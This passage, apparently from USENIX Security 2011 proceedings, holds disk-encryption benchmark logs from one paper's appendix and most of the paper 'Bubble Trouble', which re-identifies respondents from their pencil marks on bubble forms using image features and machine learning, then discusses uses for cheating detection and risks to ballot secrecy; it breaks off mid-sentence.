410 MB copied, 10.3342 s, 39.6 MB/s
410 MB copied, 8.75659 s, 46.8 MB/s
410 MB copied, 8.12789 s, 50.4 MB/s
410 MB copied, 8.96658 s, 45.7 MB/s
410 MB copied, 7.90555 s, 51.8 MB/s
410 MB copied, 11.7209 s, 34.9 MB/s
410 MB copied, 8.31128 s, 49.3 MB/s
410 MB copied, 11.8716 s, 34.5 MB/s
410 MB copied, 9.90721 s, 41.3 MB/s
410 MB copied, 8.57025 s, 47.8 MB/s
410 MB copied, 9.34468 s, 43.8 MB/s
410 MB copied, 9.14162 s, 44.8 MB/s

--- TRESOR
410 MB copied, 23.9045 s, 17.1 MB/s
410 MB copied, 24.1203 s, 17.0 MB/s
410 MB copied, 26.3410 s, 15.5 MB/s
410 MB copied, 22.1279 s, 18.5 MB/s
410 MB copied, 24.9356 s, 16.4 MB/s
410 MB copied, 25.0071 s, 16.4 MB/s
410 MB copied, 23.5777 s, 17.4 MB/s
410 MB copied, 27.8006 s, 14.7 MB/s
410 MB copied, 24.8987 s, 16.5 MB/s
410 MB copied, 25.8959 s, 15.8 MB/s
410 MB copied, 25.7694 s, 15.9 MB/s
410 MB copied, 26.5178 s, 15.4 MB/s
410 MB copied, 25.3663 s, 16.1 MB/s
410 MB copied, 25.0566 s, 16.3 MB/s
410 MB copied, 25.4963 s, 16.1 MB/s
410 MB copied, 24.3083 s, 16.9 MB/s
410 MB copied, 23.9965 s, 17.1 MB/s
410 MB copied, 25.2287 s, 16.2 MB/s

410 MB copied, 24.5554 s, 16.7 MB/s
410 MB copied, 23.5884 s, 17.4 MB/s
410 MB copied, 24.2647 s, 16.9 MB/s
410 MB copied, 25.1395 s, 16.3 MB/s
410 MB copied, 25.0933 s, 16.3 MB/s
410 MB copied, 24.8469 s, 16.5 MB/s

--- Common AES-NI
410 MB copied, 26.2926 s, 15.6 MB/s
410 MB copied, 30.8604 s, 13.3 MB/s
410 MB copied, 26.1996 s, 15.6 MB/s
410 MB copied, 28.0075 s, 14.6 MB/s
410 MB copied, 23.5519 s, 17.4 MB/s
410 MB copied, 27.0643 s, 15.1 MB/s
410 MB copied, 30.2133 s, 13.6 MB/s
410 MB copied, 25.8206 s, 15.9 MB/s
410 MB copied, 22.3430 s, 18.3 MB/s
410 MB copied, 24.9686 s, 16.4 MB/s
410 MB copied, 25.1107 s, 16.3 MB/s
410 MB copied, 28.1641 s, 14.5 MB/s
410 MB copied, 23.6934 s, 17.3 MB/s
410 MB copied, 24.9228 s, 16.4 MB/s
410 MB copied, 25.4900 s, 16.1 MB/s
410 MB copied, 28.8577 s, 14.2 MB/s
410 MB copied, 31.2964 s, 13.1 MB/s
410 MB copied, 26.1635 s, 15.7 MB/s
410 MB copied, 29.8904 s, 13.7 MB/s
410 MB copied, 26.8250 s, 15.3 MB/s
410 MB copied, 26.8389 s, 15.3 MB/s
410 MB copied, 29.5131 s, 13.9 MB/s
410 MB copied, 24.2083 s, 16.9 MB/s
410 MB copied, 26.9091 s, 15.2 MB/s

--- Generic AES
410 MB copied, 28.6924 s, 14.3 MB/s
410 MB copied, 31.0992 s, 13.2 MB/s
410 MB copied, 31.5867 s, 13.0 MB/s
410 MB copied, 29.4021 s, 13.9 MB/s
410 MB copied, 28.9778 s, 14.1 MB/s
410 MB copied, 25.9368 s, 15.8 MB/s
410 MB copied, 27.3885 s, 15.0 MB/s
410 MB copied, 26.5581 s, 15.4 MB/s
410 MB copied, 29.6886 s, 13.8 MB/s
410 MB copied, 29.4497 s, 13.9 MB/s
410 MB copied, 27.6539 s, 14.8 MB/s
410 MB copied, 24.9992 s, 16.4 MB/s
410 MB copied, 26.6642 s, 15.4 MB/s
410 MB copied, 24.2744 s, 16.9 MB/s
410 MB copied, 26.0460 s, 15.7 MB/s
410 MB copied, 31.6460 s, 12.9 MB/s
410 MB copied, 26.6546 s, 15.4 MB/s
410 MB copied, 24.6940 s, 16.6 MB/s
410 MB copied, 27.0945 s, 15.1 MB/s
410 MB copied, 26.8366 s, 15.3 MB/s
410 MB copied, 29.6911 s, 13.8 MB/s
410 MB copied, 29.4740 s, 13.9 MB/s
410 MB copied, 25.5362 s, 16.0 MB/s
410 MB copied, 24.3959 s, 16.8 MB/s
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A.3 Interbench for AES-256

--- Plain
Load Latency +/- SD (ms) Max Latency % Desired CPU % Deadlines Met
None 0.143 +/- 1.51 26.2 100 99.3
X 0.399 +/- 2.34 23.8 100 98.6
Burn 0.23 +/- 1.93 39 99.9 99.2
Write 0.16 +/- 0.852 20.7 100 99.9
Read 0.118 +/- 0.772 20.2 100 99.9
Compile 0.738 +/- 3.47 32.4 100 97
Memload 0.009 +/- 0.027 0.498 100 100

--- TRESOR
Load Latency +/- SD (ms) Max Latency % Desired CPU % Deadlines Met
None 0.926 +/- 3.99 37.3 99.9 94.9
X 6.65 +/- 11.3 44.3 99.6 64.8
Burn 28 +/- 31 66.6 48.6 2.45
Write 1.9 +/- 5.87 33.7 99.8 89.9
Read 2.41 +/- 6.32 27.8 100 86.2
Compile 26.4 +/- 30.3 79.2 50.1 4.73
Memload 9.24 +/- 13.2 48.7 98.3 48.7

--- Generic AES
Load Latency +/- SD (ms) Max Latency % Desired CPU % Deadlines Met
None 1.4 +/- 4.96 34.2 99.9 92.3
X 6.73 +/- 11.3 43 99.2 63.5
Burn 29.2 +/- 32.4 66.5 45.8 2.22
Write 0.657 +/- 3.39 36.5 99.8 96.9
Read 3.05 +/- 7.18 36.9 99.9 82.5
Compile 26.8 +/- 30.3 64.7 48.9 4.09
Memload 9.34 +/- 13.4 45.3 97.7 48.5

16



USENIX Association  20th USENIX Security Symposium 267

Bubble Trouble: Off-Line De-Anonymization of Bubble Forms

Joseph A. Calandrino, William Clarkson and Edward W. Felten
Department of Computer Science

Princeton University

Abstract

Fill-in-the-bubble forms are widely used for surveys,
election ballots, and standardized tests. In these and
other scenarios, use of the forms comes with an implicit
assumption that individuals’ bubble markings them-
selves are not identifying. This work challenges this
assumption, demonstrating that fill-in-the-bubble forms
could convey a respondent’s identity even in the absence
of explicit identifying information. We develop methods
to capture the unique features of a marked bubble and
use machine learning to isolate characteristics indicative
of its creator. Using surveys from more than ninety indi-
viduals, we apply these techniques and successfully re-
identify individuals from markings alone with over 50%
accuracy. This bubble-based analysis can have either
positive or negative implications depending on the ap-
plication. Potential applications range from detection of
cheating on standardized tests to attacks on the secrecy
of election ballots. To protect against negative conse-
quences, we discuss mitigation techniques to remove a
bubble’s identifying characteristics. We suggest addi-
tional tests using longitudinal data and larger datasets
to further explore the potential of our approach in real-
world applications.

1 Introduction

Scantron-style fill-in-the-bubble forms are a popular
means of obtaining human responses to multiple-choice
questions. Whether conducting surveys, academic tests,
or elections, these forms allow straightforward user com-
pletion and fast, accurate machine input. Although not
every use of bubble forms demands anonymity, common
perception suggests that bubble completion does not re-
sult in distinctive marks. We demonstrate that this as-
sumption is false under certain scenarios, enabling use
of these markings as a biometric. The ability to uncover
identifying bubble marking patterns has far-reaching po-

tential implications, from detecting cheating on standard-
ized tests to threatening the anonymity of election bal-
lots.

Bubble forms are widely used in scenarios where con-
firming or protecting the identity of respondents is crit-
ical. Over 137 million registered voters in the United
States reside in precincts with optical scan voting ma-
chines [27], which traditionally use fill-in-the-bubble pa-
per ballots. Voter privacy (and certain forms of fraud)
relies on an inability to connect voters with these bal-
lots. Surveys for research and other purposes use bub-
ble forms to automate data collection. The anonymity
of survey subjects not only affects subject honesty but
also impacts requirements governing human subjects re-
search [26]. Over 1.6 million members of the high school
class of 2010 completed the SAT [8], one of many large-
scale standardized tests using bubble sheets. Educators,
testing services, and other stakeholders have incentives
to detect cheating on these tests. The implications of
our findings extend to any use of bubble forms for which
the ability to “fingerprint” respondents may have conse-
quences, positive or negative.

Our contributions. We develop techniques to extract
distinctive patterns from markings on completed bubble
forms. These patterns serve as a biometric for the form
respondent. To account for the limited characteristics
available from markings, we apply a novel combination
of image processing and machine learning techniques
to extract features and determine which are distinctive
(see Section 2). These features can enable discovery of
respondents’ identities or of connections between com-
pleted bubbles.

To evaluate our results on real-world data, we use a
corpus of over ninety answer sheets from an unrelated
survey of high school students (see Section 3). We train
on a subset of completed bubbles from each form, ef-
fectively extracting a biometric for the corresponding re-
spondent. After training, we obtain a test set of addi-
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(a) Person 1 (b) Person 2 (c) Person 3 (d) Person 4 (e) Person 4 - Gray

Figure 1: Example marked bubbles. The background color is white in all examples except Figure 1(e), which is gray.

tional bubbles from each form and classify each test set.
For certain parameters, our algorithms’ top match is cor-
rect over 50% percent of the time, and the correct value
falls in the top 3 matches 75% percent of the time. In ad-
dition, we test our ability to detect when someone other
than the expected respondent completes a form, simulta-
neously achieving false positive and false negative rates
below 10%. We conduct limited additional tests to con-
firm our results and explore details available from bubble
markings.

Depending on the application, these techniques can
have positive or negative repercussions (see Section 4).
Analysis of answer sheets for standardized tests could
provide evidence of cheating by test-takers, proctors, or
other parties. Similarly, scrutiny of optical-scan bal-
lots could uncover evidence of ballot-box stuffing and
other forms of election fraud. With further improvements
in accuracy, the methods developed could even enable
new forms of authentication. Unfortunately, the tech-
niques could also undermine the secret ballot and anony-
mous surveys. For example, some jurisdictions publish
scanned images of ballots following elections, and em-
ployers could match these ballots against bubble-form
employment applications. Bubble markings serve as a
biometric even on forms and surveys otherwise contain-
ing no identifying information. We discuss methods for
minimizing the negative impact of this work while ex-
ploiting its positive uses (see Section 5).

Because our test data is somewhat limited, we dis-
cuss the value of future additional tests (see Section 7).
For example, longitudinal data would allow us to better
understand the stability of an individual’s distinguishing
features over time, and stability is critical for most uses
discussed in the previous paragraph.

2 Learning Distinctive Features

Filling in a bubble is a narrow, straightforward task.
Consequently, the space for inadvertent variation is rela-
tively constrained. The major characteristics of a filled-

in bubble are consistent across the image population—
most are relatively circular and dark in similar locations
with slight imperfections—resulting in a largely homo-
geneous set. See Figure 1. This creates a challenge in
capturing the unique qualities of each bubble and extrap-
olating a respondent’s identity from them.

We assume that all respondents start from the same
original state—an empty bubble with a number inscribed
corresponding to the answer choice (e.g., choices 1-5 in
Figure 1). When respondents fill in a bubble, opportuni-
ties for variation include the pressure applied to the draw-
ing instrument, the drawing motions employed, and the
care demonstrated in uniformly darkening the entire bub-
ble. In this work, we consider applications for which it
would be infeasible to monitor the exact position, pres-
sure, and velocity of pencil motions throughout the col-
oring process.1 In other contexts, such as signature ver-
ification, these details can be useful. This information
would only strengthen our results and would be helpful
to consider if performing bubble-based authentication, as
discussed in Section 4.

2.1 Generating a Bubble Feature Vector

Image recognition techniques often use feature vectors
to concisely represent the important characteristics of an
image. As applied to bubbles, a feature vector should
capture the unique ways that a mark differs from a per-
fectly completed bubble, focusing on characteristics that
tend to distinguish respondents. Because completed bub-
bles tend to be relatively homogeneous in shape, many
common metrics do not work well here. To measure the
unique qualities, we generate a feature vector that blends
several approaches from the image recognition literature.
Specifically, we use PCA, shape descriptors, and a cus-
tom bubble color distribution to generate a feature vector
for each image.

1Clarkson et al. [7] use multiple scans to infer the 3D surface texture
of paper, which may suggest details like pressure. We assume multiple
scans to be infeasible for our applications.

2
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Figure 2: An example bubble marking with an approx-
imating circle. The circle minimizes the sum of the
squared deviation from the radius. We calculate the
circle’s center and mean radius, the marking’s variance
from the radius, and the marking’s center of mass.

Principal Component Analysis (PCA) is one common
technique for generating a feature set to represent an im-
age [16]. At a high level, PCA reduces the dimensional-
ity of an image, generating a concise set of features that
are statistically independent from one another. PCA be-
gins with a sample set of representative images to gener-
ate a set of eigenvectors. In most of our experiments, the
representative set was comprised of 368 images and con-
tained at least one image for each (respondent, answer
choice) pair. Each representative image is normalized
and treated as a column in a matrix. PCA extracts a set
of eigenvectors from this matrix, forming a basis. We re-
tain the 100 eigenvectors with the highest weight. These
eigenvectors account for approximately 90% of the in-
formation contained in the representative images.

To generate the PCA segment of our feature vector,
a normalized input image (treated as a column vector)
is projected onto the basis defined by the 100 strongest
eigenvectors. The feature vector is the image’s coordi-
nates in this vector space—i.e., the weights on the eigen-
vectors. Because PCA is such a general technique, it may
fail to capture certain context-specific geometric charac-
teristics when working exclusively with marked bubbles.

To compensate for the limitations of PCA, we capture
shape details of each bubble using a set of geometric
descriptors and capture color variations using a custom
metric. Peura et al. [24] describe a diverse a set of ge-
ometric descriptors that measure statistics about various
shapes. This set includes a shape’s center of mass, the
center and radius of a circle approximating its shape, and
variance of the shape from the approximating circle’s ra-
dius (see Figure 2). The approximating circle minimizes
the sum of squared radius deviations. We apply the spec-
ified descriptors to capture properties of a marked bub-

Figure 3: Each dot is split into twenty-four 15° slices.
Adjacent slices are combined to form a sector, spanning
30°. The first few sectors are depicted here.

PCA Sector Shape Color Distribution
100 Features 368 Features 336 Features

804 Features

Figure 4: Feature vector components and their contribu-
tions to the final feature vector length.

ble’s boundary. Instead of generating these descriptors
for the full marked bubble alone, we also generate the
center of mass, mean radius, and radial variance for “sec-
tors” of the marked bubble. To form these sectors, we
first evenly divide each dot into twenty-four 15° “slices.”
Sectors are the 24 overlapping pairs of adjacent slices
(see Figure 3). Together, these geometric descriptors add
368 features.

Finally, we developed and use a simple custom metric
to represent color details. We divide a dot into sectors as
in the previous paragraph. For each sector, we create a
histogram of the grayscale values for the sector consist-
ing of fifteen buckets. We throw away the darkest bucket,
as these pixels often represent the black ink of the circle
border and answer choice numbering. Color distribution
therefore adds an additional 14 features for each sector,
or a total of 336 additional features.

The resulting feature vector consists of 804 features
that describe shape and color details for a dot and each
of its constituent sectors (see Figure 4). See Section 3.3,
where we evaluate the benefits of this combination of
features. Given feature vectors, we can apply machine
learning techniques to infer distinguishing details and
differentiate between individuals.

3
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2.2 Identifying Distinguishing Features

Once a set of feature vectors are generated for the rele-
vant dots, we use machine learning to identify and utilize
the important features. Our analysis tools make heavy
use of Weka, a popular Java-based machine learning
workbench that provides a variety of pre-implemented
learning methods [12]. In all experiments, we used Weka
version 3.6.3.

We apply Weka’s implementation of the Sequential
Minimal Optimization (SMO) supervised learning al-
gorithm to infer distinctive features of respondents and
classify images. SMO is an efficient method for train-
ing support vector machines [25]. Weka can accept a
training dataset as input, use the training set and learn-
ing algorithm to create a model, and evaluate the model
on a test set. In classifying individual data points, Weka
internally generates a distribution over possible classes,
choosing the class with the highest weight. For us, this
distribution is useful in ranking the respondents believed
to be responsible for a dot. We built glue code to collect
and process both internal and exposed Weka data effi-
ciently.

3 Evaluation

To evaluate our methods, we obtained a corpus of 154
surveys distributed to high school students for research
unrelated to our study. Although each survey is ten
pages, the first page contained direct identifying infor-
mation and was removed prior to our access. Each of the
nine available pages contains approximately ten ques-
tions, and each question has five possible answers, se-
lected by completing round bubbles numbered 1-5 (as
shown in Figure 1).

From the corpus of surveys, we removed any com-
pleted in pen to avoid training on writing utensil or pen
color.2 Because answer choices are numbered, some risk
exists of training on answer choice rather than marking
patterns—e.g., respondent X tends to select bubbles with
“4” in the background. For readability, survey questions
alternate between a white background and a gray back-
ground. To avoid training bias, we included only surveys
containing at least five choices for each answer 1-4 on a
white background (except where stated otherwise), leav-
ing us with 92 surveys.

For the 92 surveys meeting our criteria, we scanned
the documents using an Epson v700 Scanner at 1200
DPI. We developed tools to automatically identify, ex-
tract, and label marked bubbles by question answered

2We note that respondents failing to use pencil or to complete the
survey anecdotally tended not to be cautious about filling in the bubbles
completely. Therefore, these respondents may be more distinguishable
than those whose surveys were included in our experiment.

and choice selected. After running these tools on the
scanned images, we manually inspected the resulting im-
ages to ensure accurate extraction and labeling.

Due to the criteria that we imposed on the surveys,
each survey considered has at least twenty marked bub-
bles on a white background, with five bubbles for the “1”
answer, five for the “2” answer, five for the “3” answer,
and five for the “4” answer.3 For each experiment, we
selected our training and test sets randomly from this set
of twenty bubbles, ensuring that sets have equal numbers
of “1,” “2,” “3,” and “4” bubbles for each respondent and
trying to balance the number of bubbles for each answer
choice when possible.

In all experiments, a random subset of the training set
was selected and used to generate eigenvectors for PCA.
We required that this subset contain at least one exam-
ple from each respondent for each of the four relevant
answer choices but placed no additional constraints on
selection. For each dot in the training and test sets, we
generated a feature vector using PCA, geometric descrip-
tors, and color distribution, as described in Section 2.1.

We conducted two primary experiments and a number
of complementary experiments. The first major test ex-
plores our ability to re-identify a respondent from a test
set of eight marks given a training set of twelve marks per
respondent. The second evaluates our ability to detect
when someone other than the official respondent com-
pletes a bubble form. To investigate the potential of
bubble markings and confirm our results, we conducted
seven additional experiments. We repeated each experi-
ment ten times and report the average of these runs.

Recall from Section 2.2 that we can rank the respon-
dents based on how strongly we believe each one to be
responsible for a dot. For example, the respondent that
created a dot could be the first choice or fiftieth choice
of our algorithms. A number of our graphs effectively
plot a cumulative distribution showing the percent of test
cases for which the true corresponding respondent falls
at or above a certain rank—e.g., for 75% of respondents
in the test set, the respondent’s true identity is in the top
three guesses.

3.1 Respondent Re-Identification

This experiment measured the ability to re-identify in-
dividuals from their bubble marking patterns. For this
test, we trained our model using twelve sample bubbles
per respondent, including three bubbles for each answer
choice 1-4. Our test set for each respondent contained
the remaining two bubbles for each answer choice, for a
total of eight test bubbles. We applied the trained model

3To keep a relatively large number of surveys, we did not consider
the number of “5” answers and do not use these answers in our analysis.

4
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Figure 5: Respondent re-identification with 12 training
bubbles and 8 test bubbles per respondent.

to each of the 92 respondents’ test sets and determined
whether the predicted identity was correct.

To use multiple marks per respondent in the test set,
we classify the marks individually, yielding a distribu-
tion over the respondents for each mark in the set. After
obtaining the distribution for each test bubble in a group,
we combine this data by averaging the values for each
respondent. Our algorithms then order the respondents
from highest to lowest average confidence, with highest
confidence corresponding to the top choice.

On average, our algorithm’s first guess identified the
correct respondent with 51.1% accuracy. The correct re-
spondent fell in the top three guesses 75.0% of the time
and in the top ten guesses 92.4% of the time. See Fig-
ure 5, which shows the percentage of test bubbles for
which the correct respondent fell at or above each pos-
sible rank. This initial result suggests that individuals
complete bubbles in a highly distinguishing manner, al-
lowing re-identification with surprisingly high accuracy.

3.2 Detecting Unauthorized Respondents

One possible application of this technique is to detect
when someone other than the authorized respondent cre-
ates a set of bubbles. For example, another person might
take a test or survey in place of an authorized respondent.
We examined our ability to detect these cases by mea-
suring how often our algorithm would correctly detect a
fraudulent respondent who has claimed to be another re-
spondent. We trained our model using twelve training
samples from each respondent and examined the output
of our model when presented with eight test bubbles. The
distribution of these sets is the same as in Section 3.1.

For these tests, we set a threshold for the lowest rank
accepted as the respondent. For example, suppose that
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Figure 6: False positive and false negative rates when
detecting unauthorized respondents.

the threshold is 12. To determine whether a given set of
test bubbles would be accepted for a given respondent,
we apply our trained model to the test set. If the respon-
dent’s identity appears in any of the top 12 (of 92) posi-
tions in the ranked list of respondents, that test set would
be accepted for the respondent. For each respondent, we
apply the trained model both to the respondent’s own test
bubbles and to the 91 other respondents’ test bubbles.

We used two metrics to assess the performance of our
algorithms in this scenario. The first, false positive rate,
measures the probability that a given respondent would
be rejected (labeled a cheater) for bubbles that the re-
spondent actually completed. The second metric, false
negative rate, measures the probability that bubbles com-
pleted by any of the 91 other respondents would be ac-
cepted as the true respondent’s. We varied the threshold
from 1 to 92 for our tests. We expected the relationship
between threshold and false negative rate to be roughly
linear: increasing the threshold by 1 increases the proba-
bility that a respondent randomly falls above the thresh-
old for another respondent’s test set by roughly 1/92.4

Our results are presented in Figure 6. As we increase
the threshold, the false positive rate drops precipitously
while the false negative rate increases roughly linearly.
If we increase the threshold to 8, then a fraudulent re-
spondent has a 7.8% chance of avoiding detection (by
being classified as the true respondent), while the true
respondent has a 9.9% chance of being mislabeled a
cheater. These error rates intersect with a threshold ap-
proximately equal to 9, where the false positive and false
negative rates are 8.8%.

4This is not exact because the order of these rankings is not entirely
random. After all, we seek to rank a respondent as highly as possible
for the respondent’s own test set.
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Figure 7: Respondent re-identification accuracy using
lower-resolution images. Note that the 1200, 600, 300,
and 150 DPI lines almost entirely overlap.

3.3 Additional Experiments

To study the information conveyed by bubble markings
and support our results, we performed seven comple-
mentary experiments. In the first, we evaluate the ef-
fect that scanner resolution has on re-identification ac-
curacy. Next, we considered our ability to re-identify a
respondent from a single test mark given a training set
containing a single training mark from each respondent.
Because bubble forms typically contain multiple mark-
ings, this experiment is somewhat artificial, but it hints
at the information available from a single dot. The third
and fourth supplemental experiments explored the ben-
efits of increasing the training and test set sizes respec-
tively while holding the other set to a single bubble. In
the fifth test, we examined the tradeoff between training
and test set sizes. The final two experiments validated
our results using additional gray bubbles from the sam-
ple surveys and demonstrated the benefits of our feature
set over PCA alone. As with the primary experiments,
we repeated each experiment ten times.

Effect of resolution on accuracy. In practice, high-
resolution scans of bubble forms may not be available,
but access to lower resolution scans may be feasible. To
determine the impact of resolution on re-identification
accuracy, we down-sampled each ballot from the orig-
inal 1200 DPI to 600, 300, 150, and 48 DPI. We then
repeated the re-identification experiment of Section 3.1
on bubbles at each resolution.

Figure 7 shows that decreasing the image resolution
has little impact on performance for resolutions above
150 DPI. At 150 DPI, the accuracy of our algorithm’s
first guess decreases to 45.1% from the 51.1% accu-
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Figure 8: One marked bubble per respondent in each of
the training and test sets. The expected value from ran-
dom guessing is provided as reference.

racy observed at 1200 DPI. Accuracy remains relatively
strong even at 48 DPI, with the first guess correct 36.4%
of the time and the correct respondent falling in the top
ten guesses 86.8% of the time. While down-sampling
may not perfectly replicate scanning at a lower resolu-
tion, these results suggest that strong accuracy remains
feasible even at resolutions for which printed text is dif-
ficult to read.

Single bubble re-identification. This experiment
measured the ability to re-identify an individual using a
single marked bubble in the test set and a single example
per respondent in the training set. This is a worst-case
scenario, as bubble forms typically contain multiple
markings. We extracted two bubbles from each survey
and trained a model using the first bubble.5 We then
applied the trained model to each of the 92 second
bubbles and determined whether the predicted identity
was correct. Under these constrained circumstances, an
accuracy rate above that of random guessing (approxi-
mately 1%) would suggest that marked bubbles embed
distinguishing features.

On average, our algorithm’s first guess identified the
correct respondent with 5.3% accuracy, five times better
than the expected value for random guessing. See Fig-
ure 8, which shows the percentage of test bubbles for
which the correct respondent fell at or above each pos-
sible rank. The correct respondent was in the top ten
guesses 31.4% of the time. This result suggests that indi-
viduals can inadvertently convey information about their

5Note: In this experiment, we removed the restriction that the set
of images used to generate eigenvectors for PCA contains an example
from each column.
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Figure 9: Increasing the training set size from 1 to 19
dots per respondent.

identities from even a single completed bubble.

Increasing training set size. In practice, respondents
rarely fill out a single bubble on a form, and no two
marked bubbles will be exactly the same. By training
on multiple bubbles, we can isolate patterns that are con-
sistent and distinguishing for a respondent from ones that
are largely random. This experiment sought to verify this
intuition by confirming that an increase in the number of
training samples per respondent increases accuracy. We
held our test set at a single bubble for each respondent
and varied the training set size from 1 to 19 bubbles per
respondent (recall that we have twenty total bubbles per
respondent).

Figure 9 shows the impact various training set sizes
had on whether the correct respondent was the top guess
or fell in the top 3, 5, or 10 guesses. Given nineteen train-
ing dots and a single test dot, our first guess was correct
21.8% of the time. The graph demonstrates that a greater
number of training examples tends to result in more ac-
curate predictions, even with a single-dot test set. For the
nineteen training dots case, the correct respondent was
in the top 3 guesses 40.8% of the time and the top 10
guesses 64.5% of the time.

Increasing test set size. This experiment is similar to
the previous experiment, but we instead held the training
set at a single bubble per respondent and varied the test
set size from 1 to 19 bubbles per respondent. Intuitively,
increasing the number of examples per respondent in the
test set helps ensure that our algorithms guess based on
consistent features—even if the training set is a single
noisy bubble.

Figure 10 shows the impact of various test set sizes
on whether the correct respondent was the top guess or
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Figure 10: Increasing the test set size from 1 to 19 dots
per respondent.

fell in the top 3, 5, or 10 guesses. We see more grad-
ual improvements when increasing the test set size than
observed when increasing training set size in the previ-
ous test. From one to nineteen test bubbles per respon-
dent, the accuracy of our top 3 and 5 guesses increases
relatively linearly with test set size, yielding maximum
improvements of 4.3% and 7.6% respectively. For the
top-guess case, accuracy increases with test set size from
5.3% at one bubble per respondent to 8.1% at eight bub-
bles then roughly plateaus. Similarly, the top 10 guesses
case plateaus near ten bubbles and has a maximum im-
provement of 8.0%. Starting from equivalent sizes, the
marginal returns from increasing the training set size
generally exceed those seen as test set size increases.
Next, we explore the tradeoff between both set sizes
given a fixed total of twenty bubbles per respondent.

Training-test set size tradeoff. Because we have a
constraint of twenty bubbles per sample respondent, the
combined total size of our training and test sets per re-
spondent is limited to twenty. This experiment examined
the tradeoff between the sizes of these sets. For each
value of x from 1 to 19, we set the size of the training
set per respondent to x and the test set size to 20− x. In
some scenarios, a person analyzing bubbles would have
far larger training and test sets than in this experiment.
Fortunately, having more bubbles would not harm per-
formance: an analyst could always choose a subsample
of the bubbles if it did. Therefore, our results provide a
lower bound for these scenarios.

Figure 11 shows how varying training/test set sizes af-
fected whether the correct respondent was the top guess
or fell in the top 3, 5, or 10 guesses. As the graph demon-
strates, the optimal tradeoff was achieved with roughly

7
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Figure 11: Trade-off between training and test set sizes.

Figure 12: This respondent tends to have a circular pat-
tern with a flourish stroke at the end. The gray back-
ground makes the flourish stroke harder to detect.

twelve bubbles per respondent in the training set and
eight bubbles per respondent in the test set.

Validation with gray bubbles. To further validate our
methods, we tested the accuracy of our algorithms with a
set of bubbles that we previously excluded: bubbles with
gray backgrounds. These bubbles pose a significant chal-
lenge as the paper has both a grayish hue and a regular
pattern of darker spots. This not only makes it harder to
distinguish between gray pencil lead and the paper back-
ground but also limits differences in color distribution
between users. See Figure 12.

As before, we selected surveys by locating ones with
five completed (gray) bubbles for each answer choice,
1-4, yielding 97 surveys. We use twelve bubbles per re-
spondent in the training set and eight bubbles in the test
set, and we apply the same algorithms and parameters for
this test as the test in Section 3.1 on a white background.

Figure 13 shows the percentage of test cases for which
the correct respondent fell at or above each possible
rank. Our first guess is correct 42.3% of the time, with
the correct respondent falling in the top 3, 5, and 10
guesses 62.1%, 75.8%, and 90.0% of the time respec-
tively. While slightly weaker than the results on a white
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Figure 13: Using the unmodified algorithm with the
same configuration as in Figure 5 on dots with gray back-
grounds, we see only a mild decrease in accuracy.
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Figure 14: Performance with various combinations of
features.

background for reasons specified above, this experiment
suggests that our strong results are not simply a byprod-
uct of our initial dataset.

Feature vector options. As discussed in Section 2.1,
our feature vectors combine PCA data, shape descrip-
tors, and a custom color distribution to compensate for
the limited data available from bubble markings. We
tested the performance of our algorithms for equivalent
parameters with PCA alone and with all three features
combined. This test ran under the same setup as Figure 5
in Section 3.1.

For both PCA and the full feature set, Figure 14 shows
the percentage of test cases for which the correct respon-
dent fell at or above each possible rank. The additional
features improve the accuracy of our algorithm’s first
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(a) Person A (b) Person B

Figure 15: Bubbles from respondents often mistaken for
each other. Both respondents use superficially similar
techniques, leaving unmarked space in similar locations.

guess from 39.0% to 51.1% and the accuracy of the top
ten guesses from 87.2% to 92.4%.

3.4 Discussion
Although our accuracy exceeds 50% for respondent re-
identification, the restrictive nature of marking a bubble
limits the distinguishability between users. We briefly
consider a challenging case here.

Figure 15 shows marked bubbles from two respon-
dents that our algorithm often mistakes for one another.
Both individuals appear to use similar techniques to com-
plete a bubble: a circular motion that seldom deviates
from the circle boundary, leaving white-space both in the
center and at similar locations near the border. Unless the
minor differences between these bubbles are consistently
demonstrated by the corresponding respondents, differ-
entiating between these cases could prove quite difficult.
The task of completing a bubble is constrained enough
that close cases are nearly inevitable. In spite of these
challenges, however, re-identification and detection of
unauthorized respondents are feasible in practice.

4 Impact

This work has both positive and negative implications de-
pending on the context and application. While we limit
our discussion to standardized tests, elections, surveys,
and authentication, the ability to derive distinctive bub-
ble completion patterns for individuals may have conse-
quences beyond those examined here. In Section 7, we
discuss additional tests that would allow us to better as-
sess the impact in several of these scenarios. In particu-
lar, most of these cases assume that an individual’s dis-
tinguishing features remain relatively stable over time,
and tests on longitudinal data are necessary to evaluate
this assumption.

4.1 Standardized Tests

Scores on standardized tests may affect academic
progress, job prospects, educator advancement, and
school funding, among other possibilities. These high
stakes provide an incentive for numerous parties to cheat
and for numerous other parties to ensure the validity of
the results. In certain cheating scenarios, another party
answers questions on behalf of an official test-taker. For
example, a surrogate could perform the entire test, or a
proctor could change answer sheets after the test [11, 17].
The ability to detect when someone other than the autho-
rized test-taker completes some or all of the answers on
a bubble form could help deter this form of cheating.

Depending on the specific threat and available data,
several uses of our techniques exist. Given past answer
sheets, test registration forms, or other bubbles ostensi-
bly from the same test-takers, we could train a model as
in Section 3.2 and use it to infer whether a surrogate com-
pleted some or all of a test.6 Although the surrogate may
not be in the training set, we may rely on the fact that the
surrogate is less likely to have bubble patterns similar to
the authorized test-taker than to another set of test-takers.
Because our techniques are automated, they could flag
the most anomalous cases—i.e., the cases that would be
rejected even under the least restrictive thresholds—in
large-scale datasets for manual review.

If concern exists that someone changed certain an-
swers after the test (for example, a proctor corrected
the first five answers for all tests), we could search for
questions that are correctly answered at an usually high
rate. Given this information, two possible analysis tech-
niques exists. First, we could train on the less suspicious
questions and use the techniques of Section 3.2 to deter-
mine whether the suspicious ones on a form are from the
same test-taker. Alternatively, we could train on the non-
suspicious answer choices from each form and the sus-
picious answer choices from all forms other than a form
of interest. Given this model, we could apply the tech-
niques of Section 3.1 to see whether suspicious bubbles
on that form more closely match less-suspicious bubbles
on the same form or suspicious bubbles on other forms.

4.2 Elections

Our techniques provide a powerful tool for detecting cer-
tain forms of election fraud but also pose a threat to voter
privacy.

Suppose that concerns exist that certain paper ballots
were fraudulently submitted by someone other than a
valid voter. Although the identity of voters might not
be known for direct comparison to past ballots or other

6Note our assumption that the same unauthorized individual has not
completed both the training bubbles and the current answer sheet.
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forms, we can compare batches of ballots in one election
to batches from past elections. Accounting for demo-
graphic changes and the fact that voters need not vote
in all elections, the ballots should be somewhat similar
across elections. For example, if 85% of the voters on
the previous election’s sign-in list also voted during this
election, we would expect similarities between 85% of
the old ballots and the new ballots.

To test this, we may train on ballots from the previ-
ous election cycle and attempt to re-identify new ballots
against the old set. We would not expect ballots to per-
fectly match. Nevertheless, if less than approximately
85% of the old “identities” are covered by the new ballots
